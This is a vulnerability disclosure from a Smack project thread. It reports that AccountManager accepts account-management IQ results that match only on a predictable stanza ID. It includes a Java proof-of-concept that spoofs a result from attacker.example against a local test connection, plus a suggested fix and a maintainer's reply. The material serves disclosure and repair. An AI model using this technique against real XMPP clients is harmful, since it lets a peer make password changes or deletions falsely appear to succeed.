Smack AccountManager accepts predicted-ID account IQ results from an unexpected sender

Smack Smack Dev
1

Smack AccountManager accepts predicted-ID account IQ results from an unexpected sender

Summary

Smack’s AccountManager helper accepts account-management IQ results based only on the stanza ID of the outstanding request. Stanzas constructed by AccountManager use Smack’s process-wide default ID source, which has one random five-character prefix followed by an incrementing counter. An authenticated peer that has recently received another IQ constructed with that default source can therefore estimate the next ID and race an IQ result from its own JID against a password-change or account-deletion request to the service domain. If the prediction and race succeed, the public API returns as if the service accepted the operation.

Affected

Root cause

The account-management methods build Registration IQs and address them to the configured XMPP service domain before waiting for a reply. In the password-change path, changePassword() constructs the IQ, sets reg.setTo(connection().getXMPPServiceDomain()), and then waits on createStanzaCollectorAndSend(reg).nextResultOrThrow() at smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java:302, smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java:311, and smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java:312. The same helper shape is used by account creation, deletion, and registration info at smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java:286, smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java:333, and smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java:366. That helper installs new StanzaIdFilter(req.getStanzaId()) at smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java:370, while StanzaIdFilter.accept() only compares the inbound stanza ID at smack-core/src/main/java/org/jivesoftware/smack/filter/StanzaIdFilter.java:52. Once that filter accepts a stanza, StanzaCollector.processStanza() queues it for the waiting caller at smack-core/src/main/java/org/jivesoftware/smack/StanzaCollector.java:350. Smack’s standard IQ reply path shows the missing guard: IQReplyFilter combines IQ type, stanza ID, and expected sender validation at smack-core/src/main/java/org/jivesoftware/smack/filter/IQReplyFilter.java:99 through smack-core/src/main/java/org/jivesoftware/smack/filter/IQReplyFilter.java:127, but AccountManager bypasses that sender-correlation filter by supplying its own id-only collector filter.

Reproduction

INT-xmpp-smack-accountmanager-iq-response-sender-correlation.zip (28.6 MB)

bash ./poc/run.sh

POC_TRIGGERED: Smack AccountManager accepted predicted-id IQ result from attacker.example

This output means the AccountManager.changePassword() caller returned after the harness injected an IQ result from attacker.example/resource, even though the request was addressed to example.org. The harness learns only the ID of an earlier ordinary stanza, predicts the next counter value, starts the account operation, and injects the predicted ID without reading the request. It first sends a wrong-ID negative control and verifies afterward that the prediction matched the request.

The harness uses Smack’s DummyConnection to exercise the production stanza collector locally. It proves the ID prediction and unexpected-sender acceptance in Smack; it does not emulate server routing or measure the probability of winning the network race.

PoC source

poc/run.sh clones and checks out the pinned upstream commit, builds Smack from that checkout, compiles the following harness, and runs it. No cached Smack class files are used.

import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;

import org.jivesoftware.smack.DummyConnection;
import org.jivesoftware.smack.packet.IQ;
import org.jivesoftware.smackx.iqregister.AccountManager;
import org.jivesoftware.smackx.iqregister.packet.Registration;
import org.jxmpp.jid.impl.JidCreate;

public final class SmackAccountManagerIqSenderCorrelationPoc {
    public static void main(String[] args) throws Exception {
        DummyConnection connection = DummyConnection.newConnectedDummyConnection();
        connection.setReplyTimeout(3000);

        AccountManager accountManager = AccountManager.getInstance(connection);
        accountManager.sensitiveOperationOverInsecureConnection(true);

        // Learn the default ID source's prefix and counter from an earlier IQ
        // that the authenticated attacker was legitimately sent.
        while (connection.getNumberOfSentPackets() != 0) {
            connection.getSentPacket(0);
        }
        Registration visibleStanza = new Registration();
        visibleStanza.setType(IQ.Type.get);
        visibleStanza.setTo(JidCreate.from("attacker.example/resource"));
        connection.sendStanza(visibleStanza);
        Registration observedByAttacker = connection.getSentPacket(1);
        String observedId = observedByAttacker.getStanzaId();
        int separator = observedId.lastIndexOf('-');
        if (separator < 0) {
            throw new AssertionError("unexpected StandardStanzaIdSource ID: " + observedId);
        }
        long counter = Long.parseLong(observedId.substring(separator + 1));
        String predictedId = observedId.substring(0, separator + 1) + (counter + 1);

        CountDownLatch completed = new CountDownLatch(1);
        AtomicReference<Throwable> failure = new AtomicReference<>();
        Thread caller = new Thread(() -> {
            try {
                accountManager.changePassword("new-password-from-public-api");
                completed.countDown();
            } catch (Throwable t) {
                failure.set(t);
                completed.countDown();
            }
        }, "smack-accountmanager-poc");
        caller.start();

        long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(3);
        while (connection.getNumberOfSentPackets() == 0 && System.nanoTime() < deadline) {
            Thread.onSpinWait();
        }
        if (connection.getNumberOfSentPackets() == 0) {
            throw new AssertionError("AccountManager did not send a password-change IQ");
        }

        Registration wrongIdControl = new Registration();
        wrongIdControl.setType(IQ.Type.result);
        wrongIdControl.setStanzaId(predictedId + "-wrong");
        wrongIdControl.setFrom(JidCreate.from("attacker.example/resource"));
        wrongIdControl.setTo(connection.getUser());
        connection.processStanza(wrongIdControl);
        if (completed.await(300, TimeUnit.MILLISECONDS)) {
            throw new AssertionError("wrong-id control unexpectedly completed request");
        }

        Registration attackerResponse = new Registration();
        attackerResponse.setType(IQ.Type.result);
        attackerResponse.setStanzaId(predictedId);
        attackerResponse.setFrom(JidCreate.from("attacker.example/resource"));
        attackerResponse.setTo(connection.getUser());
        connection.processStanza(attackerResponse);

        IQ request = connection.getSentPacket(1);
        if (request == null || !predictedId.equals(request.getStanzaId())) {
            throw new AssertionError("prediction did not match the account request");
        }
        if (!completed.await(3, TimeUnit.SECONDS)) {
            throw new AssertionError("predicted-id response did not complete request");
        }
        if (failure.get() != null) {
            throw new AssertionError("AccountManager request failed", failure.get());
        }

        System.out.println("POC_TRIGGERED: Smack AccountManager accepted predicted-id IQ result from attacker.example for password-change request to " + request.getTo());
    }
}

Impact

An authenticated remote XMPP peer can attempt the attack after receiving a recent stanza from the victim and learning the connection’s ID prefix and approximate counter. The peer must predict the account request’s exact counter value and deliver its result before the legitimate service response, making attack complexity high. RFC 6120 requires the server to stamp or validate the peer’s real from address; AccountManager nevertheless accepts that mismatching sender because it waits with StanzaIdFilter instead of a sender-aware reply filter. The realistic effect is bounded client-side integrity loss: an application may mark password rotation or deletion complete, update local credential state, or write a false audit event even if the legitimate server later rejects the request. The PoC does not demonstrate server-side state change, credential disclosure, or denial of service.

Suggested fix

The generic connection().createStanzaCollectorAndSend(req) overload is not safe here because AccountManager also operates before resource binding and IQReplyFilter rejects a connection whose local full JID is null. A pre-authentication-safe fix should validate IQ type, stanza ID, and the explicit service-domain recipient without consulting the local JID:

diff --git a/smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java b/smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java
index 9e3a4f7..0000000 100644
--- a/smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java
+++ b/smack-extensions/src/main/java/org/jivesoftware/smackx/iqregister/AccountManager.java
@@ -30,6 +30,10 @@ import org.jivesoftware.smack.StanzaCollector;
 import org.jivesoftware.smack.XMPPConnection;
 import org.jivesoftware.smack.XMPPException.XMPPErrorException;
+import org.jivesoftware.smack.filter.AndFilter;
+import org.jivesoftware.smack.filter.FromMatchesFilter;
+import org.jivesoftware.smack.filter.IQTypeFilter;
+import org.jivesoftware.smack.filter.OrFilter;
 import org.jivesoftware.smack.filter.StanzaFilter;
 import org.jivesoftware.smack.filter.StanzaIdFilter;
 import org.jivesoftware.smack.packet.ExtensionElement;
 import org.jivesoftware.smack.packet.IQ;
@@ -368,6 +372,11 @@ public final class AccountManager extends Manager {
     }
 
     private StanzaCollector createStanzaCollectorAndSend(IQ req) throws NotConnectedException, InterruptedException {
-        return connection().createStanzaCollectorAndSend(new StanzaIdFilter(req.getStanzaId()), req);
+        StanzaFilter replyFilter = new AndFilter(
+                        new OrFilter(IQTypeFilter.ERROR, IQTypeFilter.RESULT),
+                        new StanzaIdFilter(req),
+                        FromMatchesFilter.createFull(req.getTo()));
+        return connection().createStanzaCollectorAndSend(replyFilter, req);
     }
 }

Reported by Team Atlanta.

2

Thanks. Problem report and fix looks sensible. Even though I am not sure if servers would route stanzas to unbound sessions. But it can’t hurt to strengthen the code. Care to provide a git patch for proper attribution?